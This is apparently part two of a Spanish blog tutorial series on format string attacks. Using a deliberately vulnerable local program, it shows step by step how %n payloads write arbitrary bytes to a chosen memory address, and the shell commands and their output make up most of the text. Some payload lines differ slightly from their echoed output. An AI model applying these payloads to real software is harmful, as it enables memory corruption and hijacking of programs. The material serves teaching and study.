Introducción a Format String Attack II de III


Seguimos con la serie de entradas dedicadas a la técnica Format String Attack

Advertencia


Para realizar las pruebas y obtener los resultados esperados se ha utilizado úna versión desactualizada del compilador gcc, concretamente la 3.4, debido a que la última versión no respetaba los flag para evitar las protecciones de pila.

Cuando vayas a compilar alguno de los códigos vulnerables asegúrate antes de hacerlo poniendo el flag -fno-stack-check.

Escribiendo direcciones de memoria


Al igual que hemos estado usando %x y %s para acceder a los contenidos de las direcciones de memoria, con %n podemos escribir directamente en ellas.
root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example BBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x

Correcto:
BBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x

Incorrecto:
BBBB.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0.0.42424242
(-) Valor @ 0x08049648 = 50 0x00000032

La variable Valor está en la dirección de memoria 0x08049648, usando %n seremos capaces de sobreescribir su contenido:
root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n

Correcto:
H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n

Incorrecto:
H�.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0.0.
(-) Valor @ 0x08049648 = 41 0x00000029
El valor de la variable dependerá del número de formatos que insertemos antes de %n:
root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%20x.%n

Correcto:
H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%20x.%n

Incorrecto:
H�.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0. 0.
(-) Valor @ 0x08049648 = 60 0x0000003c
Gracias a esto podemos jugar un poco y decrementar o incrementar el valor, según nos interese. Nuestro siguiente objetivo será escribir en la dirección de memoria donde se encuentra nuestra variable:
  • Escribiremos 0xde000000 en la dirección 0x08049648
  • Escribiremos 0x00ad0000 en la dirección 0x08049649
  • Escribiremos 0x0000be00 en la dirección 0x0804964a
  • Escribiremos 0x000000ef en la dirección 0x0804964b
Pero como bien sabemos, una pila se caracteríza por una estructura LIFO (Last Input First Output) por tanto, la representación interna en memoria deberá ser al revés. El primer valor de la variable deberá ser 0xef, seguido de 0xbe, 0xad, 0xde y las respectivas direcciones a ocupar serán 0x08049648, 0x08049649, 0x0804964a, 0x0804964b.

Para alcanzar nuestro objetivo debemos seguir los siguientes pasos:
  • Primero: 0xef - [Valor de la variable] + [Valor del offset]
  • Segundo: 0xbe - 0xef
  • Tercero: 0xad - 0xbe
  • Cuarto: 0xde - 0xad
Comencemos por escribir 0xef en la dirección 0x08049648:
root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n

Correcto:
H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n

Incorrecto:
H�.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0.0.
(-) Valor @ 0x08049648 = 41 0x00000029
La operación 0xef - 41:
>>> 0xef - 41
198
Y de offset sumamos 1 (esto puede variar en cada equipo):
>>> 198 + 1
199
root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%199x.%n

Correcto:
H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%199x.%n

Incorrecto:
H�.bffff6d0.b7fe3000.0.0.0.0.0.0.0.0. 0.
(-) Valor @ 0x08049648 = 239 0x000000ef
Necesitamos otro argumento más para que el contador de byte se incremente y nos permita obtener 0xbe. Este argumento puede ser cualquiera, sólo debe cumplir la condición de tener 4 bytes y colocarse justo en la primera dirección de memoria arbitraría posterior a 0x08049648. Y como todo esto debe de ir en el format string que queremos inyectar es fácilmente controlable, así que vamos a buscar una palabra de 4 bytes como "HOLA" y escribamos nuestro format string:
"\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"
Escribamos ahora 0xef en la primera dirección del búffer:
root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\0x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"
`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n

Correcto:
H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n

Incorrecto:
H�HOLAI�HOLAx4a�HOLAK�.bffff6c0.b7fe3000.0.0.0.0.0.0.0.0.0.
(-) Valor @ 0x08049648 = 67 0x00000043
Obtenemos como valor para la variable 67:
>>> 0xef-67
172
A la resta le sumamos el offset adecuado:
>>> 172+1
173
Y obtenemos que el valor que debemos aplicar es 173:
root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\0x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"
`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%n

Correcto:
H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%n

Incorrecto:
H�HOLAI�HOLAx4a�HOLAK�.bffff6c0.b7fe3000.0.0.0.0.0.0.0.0. 0.
(-) Valor @ 0x08049648 = 239 0x000000ef
Ahora escribamos 0xbe en la segunda dirección del búffer:
>>> 0xbe - 0xef
-49
El valor -49 es negativo y no puede ser insertado en la pila, como solución podemos usar el truco del bit menos significativo y obtener así el valor correcto al restar 0x1be - 0xef:
>>> 0x1be - 0xef
207

root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\0x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"
`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%n.%205x.%n

Correcto:
H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%n.%207x.%n

Incorrecto:
H�HOLAI�HOLAx4a�HOLAK�.bffff6b0.b7fe3000.0.0.0.0.0.0.0.0. 0.. 414c4f48.
(-) Valor @ 0x08049648 = 114415 0x0001beef
Ahora escribamos 0xad en la tercera dirección del búffer:
>>> 0xad-0xbe
-17
Volvemos a encontrarnos con el mismo error de antes, para resolverlo, nuevamente usamos el bit menos significativo, y restamos 0x1ad-0xbe:
>>> 0x1ad-0xbe
239

root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"
`%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%237x.%n

Correcto:
H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%239x.%n

Incorrecto:
H�HOLAI�HOLAx4a�HOLAK�.bffff6b0.b7fe3000.0.0.0.0.0.0.0.0. 0.. 41544554.. 41544554.
(-) Valor @ 0x08049648 = 44941039 0x02adbeef
Por último escribamos 0xde en la cuarta dirección del búffer:
>>> 0xde-0xad
49
Como este valor sí resulta positivo, podemos inyectarlo automáticamente:
root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"
`%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%237x.%n.%47x.%n

Correcto:
H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%237x.%n.%47x.%n

Incorrecto:
H�HOLAI�HOLAx4a�HOLAK�.bffff6a0.b7fe3000.0.0.0.0.0.0.0.0. 0.. 41544554.. 41544554.. 41544554.
(-) Valor @ 0x08049648 = -559038737 0xdeadbeef
Si observamos el valor que tenía nuestra variable al principio, veremos cómo ha cambiado:
(-) Valor @ 0x08049648 = 50 0x00000032
(-) Valor @ 0x08049648 = -559038737 0xdeadbeef
Y hasta aquí cubrimos con la entrada de hoy, para la siguiente trataré de explicar algunas técnicas como DPA(Direct Parameter Access) para acceder directamente a la posición deseada en la memoria, sobreescribir las secciones .dtors y veremos cómo todo esto puede simplificarse mediante una herramienta que se encargue de construirnos automáticamente la inyección.

Comentarios